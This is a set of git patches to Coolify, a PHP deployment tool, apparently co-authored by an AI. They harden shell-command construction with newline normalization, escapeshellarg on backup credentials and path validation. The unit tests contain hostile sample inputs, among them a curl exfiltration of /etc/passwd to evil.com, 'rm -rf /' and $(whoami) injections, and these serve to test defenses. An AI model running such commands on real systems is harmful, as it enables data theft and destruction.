create mode 100644 tests/Unit/DeploymentCommandNewlineInjectionTest.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 2af380a45..5772ba8c7 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -19,6 +19,7 @@
use App\Models\SwarmDocker;
use App\Notifications\Application\DeploymentFailed;
use App\Notifications\Application\DeploymentSuccess;
+use App\Support\ValidationPatterns;
use App\Traits\EnvironmentVariableAnalyzer;
use App\Traits\ExecuteRemoteCommand;
use Carbon\Carbon;
@@ -317,7 +318,7 @@ public function handle(): void
if ($this->application->dockerfile_target_build) {
$target = $this->application->dockerfile_target_build;
- if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
+ if (! preg_match(ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.');
}
$this->buildTarget = " --target {$target} ";
@@ -451,7 +452,7 @@ private function detectBuildKitCapabilities(): void
$this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments.");
}
}
- } catch (\Exception $e) {
+ } catch (Exception $e) {
$this->dockerBuildkitSupported = false;
$this->dockerSecretsSupported = false;
$this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}");
@@ -491,7 +492,7 @@ private function post_deployment()
// Then handle side effects - these should not fail the deployment
try {
GetContainersStatus::dispatch($this->server);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Failed to dispatch GetContainersStatus for deployment '.$this->deployment_uuid.': '.$e->getMessage());
}
@@ -499,7 +500,7 @@ private function post_deployment()
if ($this->application->is_github_based()) {
try {
ApplicationPullRequestUpdateJob::dispatch(application: $this->application, preview: $this->preview, deployment_uuid: $this->deployment_uuid, status: ProcessStatus::FINISHED);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Failed to dispatch PR update for deployment '.$this->deployment_uuid.': '.$e->getMessage());
}
}
@@ -507,13 +508,13 @@ private function post_deployment()
try {
$this->run_post_deployment_command();
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Post deployment command failed for '.$this->deployment_uuid.': '.$e->getMessage());
}
try {
$this->application->isConfigurationChanged(true);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Failed to mark configuration as changed for deployment '.$this->deployment_uuid.': '.$e->getMessage());
}
}
@@ -695,7 +696,7 @@ private function deploy_docker_compose_buildpack()
}
// Inject build arguments after build subcommand if not using build secrets
- if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
+ if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) {
$build_args_string = $this->build_args->implode(' ');
// Inject build args right after 'build' subcommand (not at the end)
@@ -733,7 +734,7 @@ private function deploy_docker_compose_buildpack()
$command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} build --pull";
}
- if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
+ if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) {
$build_args_string = $this->build_args->implode(' ');
$command .= " {$build_args_string}";
$this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.');
@@ -2128,7 +2129,7 @@ private function set_coolify_variables()
private function check_git_if_build_needed()
{
- if (is_object($this->source) && $this->source->getMorphClass() === \App\Models\GithubApp::class && $this->source->is_public === false) {
+ if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) {
$repository = githubApi($this->source, "repos/{$this->customRepository}");
$data = data_get($repository, 'data');
$repository_project_id = data_get($data, 'id');
@@ -2964,7 +2965,7 @@ private function build_image()
}
// Always convert build_args Collection to string for command interpolation
- $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection
+ $this->build_args = $this->build_args instanceof Collection
? $this->build_args->implode(' ')
: (string) $this->build_args;
@@ -3965,7 +3966,7 @@ private function add_build_secrets_to_compose($composeFile)
$composeFile['services'] = $services;
$existingSecrets = data_get($composeFile, 'secrets', []);
- if ($existingSecrets instanceof \Illuminate\Support\Collection) {
+ if ($existingSecrets instanceof Collection) {
$existingSecrets = $existingSecrets->toArray();
}
$composeFile['secrets'] = array_replace($existingSecrets, $secrets);
@@ -3977,7 +3978,7 @@ private function add_build_secrets_to_compose($composeFile)
private function validatePathField(string $value, string $fieldName): string
{
- if (! preg_match(\App\Support\ValidationPatterns::FILE_PATH_PATTERN, $value)) {
+ if (! preg_match(ValidationPatterns::FILE_PATH_PATTERN, $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters.");
}
if (str_contains($value, '..')) {
@@ -3989,7 +3990,7 @@ private function validatePathField(string $value, string $fieldName): string
private function validateShellSafeCommand(string $value, string $fieldName): string
{
- if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
+ if (! preg_match(ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters.");
}
@@ -3998,7 +3999,7 @@ private function validateShellSafeCommand(string $value, string $fieldName): str
private function validateContainerName(string $value): string
{
- if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
+ if (! preg_match(ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
throw new \RuntimeException('Invalid container name: contains forbidden characters.');
}
@@ -4029,7 +4030,10 @@ private function run_pre_deployment_command()
// members can set these commands, and execution is scoped to the application's own container.
// The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
// restrict the command itself. Container names are validated separately via validateContainerName().
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
+ // Newlines are normalized to spaces to prevent injection via SSH heredoc transport
+ // (matches the pattern used for health_check_command at line ~2824).
+ $preCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->pre_deployment_command);
+ $cmd = "sh -c '".str_replace("'", "'\''", $preCommand)."'";
$exec = "docker exec {$containerName} {$cmd}";
$this->execute_remote_command(
[
@@ -4061,7 +4065,9 @@ private function run_post_deployment_command()
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
// Security: post_deployment_command is intentionally treated as arbitrary shell input.
// See the equivalent comment in run_pre_deployment_command() for the full security rationale.
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
+ // Newlines are normalized to spaces to prevent injection via SSH heredoc transport.
+ $postCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->post_deployment_command);
+ $cmd = "sh -c '".str_replace("'", "'\''", $postCommand)."'";
$exec = "docker exec {$containerName} {$cmd}";
try {
$this->execute_remote_command(
diff --git a/tests/Unit/DeploymentCommandNewlineInjectionTest.php b/tests/Unit/DeploymentCommandNewlineInjectionTest.php
new file mode 100644
index 000000000..949da88da
--- /dev/null
+++ b/tests/Unit/DeploymentCommandNewlineInjectionTest.php
@@ -0,0 +1,74 @@
+not->toContain("\n")
+ ->and($exec)->not->toContain("\r")
+ ->and($exec)->toContain('echo hello echo injected')
+ ->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/");
+});
+
+it('strips carriage returns from deployment command', function () {
+ $exec = buildDeploymentExecCommand("echo hello\r\necho injected");
+
+ expect($exec)->not->toContain("\r")
+ ->and($exec)->not->toContain("\n")
+ ->and($exec)->toContain('echo hello echo injected');
+});
+
+it('strips bare carriage returns from deployment command', function () {
+ $exec = buildDeploymentExecCommand("echo hello\recho injected");
+
+ expect($exec)->not->toContain("\r")
+ ->and($exec)->toContain('echo hello echo injected');
+});
+
+it('leaves single-line deployment command unchanged', function () {
+ $exec = buildDeploymentExecCommand('php artisan migrate --force');
+
+ expect($exec)->toContain("sh -c 'php artisan migrate --force'");
+});
+
+it('prevents newline injection with malicious payload', function () {
+ // Attacker tries to inject a second command via newline in heredoc transport
+ $exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)");
+
+ expect($exec)->not->toContain("\n")
+ // The entire command should be on a single line inside sh -c
+ ->and($exec)->toContain('harmless curl http://evil.com/exfil');
+});
+
+it('handles multiple consecutive newlines', function () {
+ $exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2");
+
+ expect($exec)->not->toContain("\n")
+ ->and($exec)->toContain('cmd1 cmd2');
+});
+
+it('properly escapes single quotes after newline normalization', function () {
+ $exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'");
+
+ expect($exec)->not->toContain("\n")
+ ->and($exec)->toContain("echo '\\''hello'\\''")
+ ->and($exec)->toContain("echo '\\''world'\\''");
+});
+
+/**
+ * Replicates the exact command-building logic from ApplicationDeploymentJob's
+ * run_pre_deployment_command() and run_post_deployment_command() methods.
+ *
+ * This tests the security-critical str_replace + sh -c wrapping in isolation.
+ */
+function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string
+{
+ // This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command
+ $normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command);
+ $cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'";
+
+ return "docker exec {$containerName} {$cmd}";
+}
From 952f3247970d261ff93f85c79066192f58f9557e Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 23:43:57 +0100
Subject: [PATCH 047/118] fix(backup): use escapeshellarg for credentials in
database backup commands
Apply proper shell escaping to all user-controlled values interpolated into
backup shell commands (PostgreSQL username/password, MySQL/MariaDB root
password, MongoDB URI). Also URL-encode MongoDB credentials before embedding
in connection URI. Adds unit tests for escaping behavior.
Co-Authored-By: Claude Opus 4.6
---
app/Jobs/DatabaseBackupJob.php | 65 ++++++++++--------
tests/Unit/DatabaseBackupSecurityTest.php | 80 +++++++++++++++++++++++
2 files changed, 116 insertions(+), 29 deletions(-)
diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php
index d86986fad..7f1feaa21 100644
--- a/app/Jobs/DatabaseBackupJob.php
+++ b/app/Jobs/DatabaseBackupJob.php
@@ -91,7 +91,7 @@ public function handle(): void
return;
}
- if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
+ if (data_get($this->backup, 'database_type') === ServiceDatabase::class) {
$this->database = data_get($this->backup, 'database');
$this->server = $this->database->service->server;
$this->s3 = $this->backup->s3;
@@ -119,7 +119,7 @@ public function handle(): void
return;
}
- if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
+ if (data_get($this->backup, 'database_type') === ServiceDatabase::class) {
$databaseType = $this->database->databaseType();
$serviceUuid = $this->database->service->uuid;
$serviceName = str($this->database->service->name)->slug();
@@ -241,7 +241,7 @@ public function handle(): void
}
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
// Continue without env vars - will be handled in backup_standalone_mongodb method
}
}
@@ -388,7 +388,7 @@ public function handle(): void
} else {
throw new \Exception('Local backup file is empty or was not created');
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
// Local backup failed
if ($this->backup_log) {
$this->backup_log->update([
@@ -401,7 +401,7 @@ public function handle(): void
}
try {
$this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database));
- } catch (\Throwable $notifyException) {
+ } catch (Throwable $notifyException) {
Log::channel('scheduled-errors')->warning('Failed to send backup failure notification', [
'backup_id' => $this->backup->uuid,
'database' => $database,
@@ -423,7 +423,7 @@ public function handle(): void
deleteBackupsLocally($this->backup_location, $this->server);
$localStorageDeleted = true;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
// S3 upload failed but local backup succeeded
$s3UploadError = $e->getMessage();
}
@@ -455,7 +455,7 @@ public function handle(): void
} else {
$this->team->notify(new BackupSuccess($this->backup, $this->database, $database));
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
Log::channel('scheduled-errors')->warning('Failed to send backup success notification', [
'backup_id' => $this->backup->uuid,
'database' => $database,
@@ -467,7 +467,7 @@ public function handle(): void
if ($this->backup_log && $this->backup_log->status === 'success') {
removeOldBackups($this->backup);
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
throw $e;
} finally {
if ($this->team) {
@@ -489,19 +489,23 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
// For service-based MongoDB, try to build URL from environment variables
if (filled($this->mongo_root_username) && filled($this->mongo_root_password)) {
// Use container name instead of server IP for service-based MongoDB
- $url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";
+ // URL-encode credentials to prevent URI injection
+ $encodedUser = rawurlencode($this->mongo_root_username);
+ $encodedPass = rawurlencode($this->mongo_root_password);
+ $url = "mongodb://{$encodedUser}:{$encodedPass}@{$this->container_name}:27017";
} else {
// If no environment variables are available, throw an exception
throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.');
}
}
Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]);
+ $escapedUrl = escapeshellarg($url);
if ($databaseWithCollections === 'all') {
$commands[] = 'mkdir -p '.$this->backup_dir;
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --gzip --archive > $this->backup_location";
}
} else {
if (str($databaseWithCollections)->contains(':')) {
@@ -519,9 +523,9 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
if ($collectionsToExclude->count() === 0) {
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --archive > $this->backup_location";
}
} else {
// Validate and escape each collection name
@@ -533,9 +537,9 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
});
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
}
}
}
@@ -544,7 +548,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -556,15 +560,16 @@ private function backup_standalone_postgresql(string $database): void
$commands[] = 'mkdir -p '.$this->backup_dir;
$backupCommand = 'docker exec';
if ($this->postgres_password) {
- $backupCommand .= " -e PGPASSWORD=\"{$this->postgres_password}\"";
+ $backupCommand .= ' -e PGPASSWORD='.escapeshellarg($this->postgres_password);
}
+ $escapedUsername = escapeshellarg($this->database->postgres_user);
if ($this->backup->dump_all) {
- $backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
+ $backupCommand .= " $this->container_name pg_dumpall --username $escapedUsername | gzip > $this->backup_location";
} else {
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
- $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location";
+ $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username $escapedUsername $escapedDatabase > $this->backup_location";
}
$commands[] = $backupCommand;
@@ -573,7 +578,7 @@ private function backup_standalone_postgresql(string $database): void
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -583,20 +588,21 @@ private function backup_standalone_mysql(string $database): void
{
try {
$commands[] = 'mkdir -p '.$this->backup_dir;
+ $escapedPassword = escapeshellarg($this->database->mysql_root_password);
if ($this->backup->dump_all) {
- $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location";
} else {
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
- $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword $escapedDatabase > $this->backup_location";
}
$this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true);
$this->backup_output = trim($this->backup_output);
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -606,20 +612,21 @@ private function backup_standalone_mariadb(string $database): void
{
try {
$commands[] = 'mkdir -p '.$this->backup_dir;
+ $escapedPassword = escapeshellarg($this->database->mariadb_root_password);
if ($this->backup->dump_all) {
- $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location";
} else {
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
- $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword $escapedDatabase > $this->backup_location";
}
$this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true);
$this->backup_output = trim($this->backup_output);
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -666,7 +673,7 @@ private function upload_to_s3(): void
$bucket = $this->s3->bucket;
$endpoint = $this->s3->endpoint;
$this->s3->testConnection(shouldSave: true);
- if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
+ if (data_get($this->backup, 'database_type') === ServiceDatabase::class) {
$network = $this->database->service->destination->network;
} else {
$network = $this->database->destination->network;
@@ -701,7 +708,7 @@ private function upload_to_s3(): void
instant_remote_process($commands, $this->server, true, false, null, disableMultiplexing: true);
$this->s3_uploaded = true;
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->s3_uploaded = false;
$this->add_to_error_output($e->getMessage());
throw $e;
@@ -755,7 +762,7 @@ public function failed(?Throwable $exception): void
$output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error';
try {
$this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName));
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
Log::channel('scheduled-errors')->warning('Failed to send backup permanent failure notification', [
'backup_id' => $this->backup->uuid,
'error' => $e->getMessage(),
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
index 90940c174..10012950d 100644
--- a/tests/Unit/DatabaseBackupSecurityTest.php
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -142,3 +142,83 @@
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
+
+// --- Credential escaping tests for database backup commands ---
+
+test('escapeshellarg neutralizes command injection in postgres password', function () {
+ $maliciousPassword = '"; rm -rf / #';
+ $escaped = escapeshellarg($maliciousPassword);
+
+ // The escaped value must be a single shell token that cannot break out
+ expect($escaped)->not->toContain("\n");
+ expect($escaped)->toBe("'\"; rm -rf / #'");
+ // When used in: -e PGPASSWORD=, the shell sees one token
+ $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
+ expect($command)->toContain("PGPASSWORD='");
+ expect($command)->not->toContain('PGPASSWORD=""');
+});
+
+test('escapeshellarg neutralizes command injection in postgres username', function () {
+ $maliciousUser = 'admin$(whoami)';
+ $escaped = escapeshellarg($maliciousUser);
+
+ expect($escaped)->toBe("'admin\$(whoami)'");
+ $command = "docker exec container pg_dump --username $escaped";
+ // The $() should be inside single quotes, preventing execution
+ expect($command)->toContain("--username 'admin\$(whoami)'");
+});
+
+test('escapeshellarg neutralizes command injection in mysql password', function () {
+ $maliciousPassword = 'pass" && curl http://evil.com #';
+ $escaped = escapeshellarg($maliciousPassword);
+
+ $command = "docker exec container mysqldump -u root -p$escaped db";
+ // The password must be wrapped in single quotes
+ expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
+});
+
+test('escapeshellarg neutralizes command injection in mariadb password', function () {
+ $maliciousPassword = "pass'; whoami; echo '";
+ $escaped = escapeshellarg($maliciousPassword);
+
+ // Single quotes in the value get escaped as '\''
+ expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
+ $command = "docker exec container mariadb-dump -u root -p$escaped db";
+ // Verify the command doesn't contain an unescaped semicolon outside quotes
+ expect($command)->toContain("-p'pass'");
+});
+
+test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
+ $maliciousUser = 'admin";$(whoami)';
+ $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
+
+ $encodedUser = rawurlencode($maliciousUser);
+ $encodedPass = rawurlencode($maliciousPass);
+ $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
+
+ // Special characters should be percent-encoded
+ expect($encodedUser)->not->toContain('"');
+ expect($encodedUser)->not->toContain('$');
+ expect($encodedUser)->not->toContain('(');
+ expect($encodedPass)->not->toContain('@');
+ expect($encodedPass)->not->toContain('/');
+ expect($encodedPass)->not->toContain('?');
+ expect($encodedPass)->not->toContain('&');
+
+ // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
+ $atCount = substr_count($url, '@');
+ expect($atCount)->toBe(1);
+});
+
+test('escapeshellarg on mongodb URI prevents shell breakout', function () {
+ // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
+ $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
+ $escaped = escapeshellarg($maliciousUrl);
+
+ $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
+ // The entire URI must be inside single quotes
+ expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
+ expect($command)->toContain("evil.com #'");
+ // No unescaped double quotes that could break the command
+ expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
+});
From 3fdce06b654fa3b7b4be59c0faaab6b4546c78de Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 23:44:37 +0100
Subject: [PATCH 048/118] fix(storage): consistent path validation and escaping
for file volumes
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Ensure all file volume paths are validated and properly escaped before
use. Previously, only directory mount paths were validated at the input
layer — file mount paths now receive the same treatment across Livewire
components, API controllers, and the model layer.
- Validate and escape fs_path at the top of saveStorageOnServer() before
any commands are built
- Add path validation to submitFileStorage() in Storage Livewire component
- Add path validation to file mount creation in Applications, Services,
and Databases API controllers
- Add regression tests for path validation coverage
Co-Authored-By: Claude Opus 4.6
---
.../Api/ApplicationsController.php | 27 +++++-----
.../Controllers/Api/DatabasesController.php | 13 +++--
.../Controllers/Api/ServicesController.php | 7 ++-
app/Livewire/Project/Service/Storage.php | 13 +++--
app/Models/LocalFileVolume.php | 20 +++++---
tests/Unit/FileStorageSecurityTest.php | 50 +++++++++++++++++++
6 files changed, 101 insertions(+), 29 deletions(-)
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 66f6a1ef8..b081069b7 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type)
$this->authorize('create', Application::class);
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
@@ -1150,7 +1150,7 @@ private function create_application(Request $request, $type)
$request->offsetSet('name', generate_application_name($request->git_repository, $request->git_branch));
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -1345,7 +1345,7 @@ private function create_application(Request $request, $type)
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$githubApp = GithubApp::whereTeamId($teamId)->where('uuid', $githubAppUuid)->first();
@@ -1573,7 +1573,7 @@ private function create_application(Request $request, $type)
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$privateKey = PrivateKey::whereTeamId($teamId)->where('uuid', $request->private_key_uuid)->first();
@@ -1742,7 +1742,7 @@ private function create_application(Request $request, $type)
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
if (! isBase64Encoded($request->dockerfile)) {
@@ -1850,7 +1850,7 @@ private function create_application(Request $request, $type)
$request->offsetSet('name', 'docker-image-'.new Cuid2);
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
// Process docker image name and tag using DockerImageParser
@@ -1974,7 +1974,7 @@ private function create_application(Request $request, $type)
], 422);
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
if (! isBase64Encoded($request->docker_compose_raw)) {
@@ -2460,7 +2460,7 @@ public function update_by_uuid(Request $request)
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -2530,7 +2530,7 @@ public function update_by_uuid(Request $request)
}
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$extraFields = array_diff(array_keys($request->all()), $allowedFields);
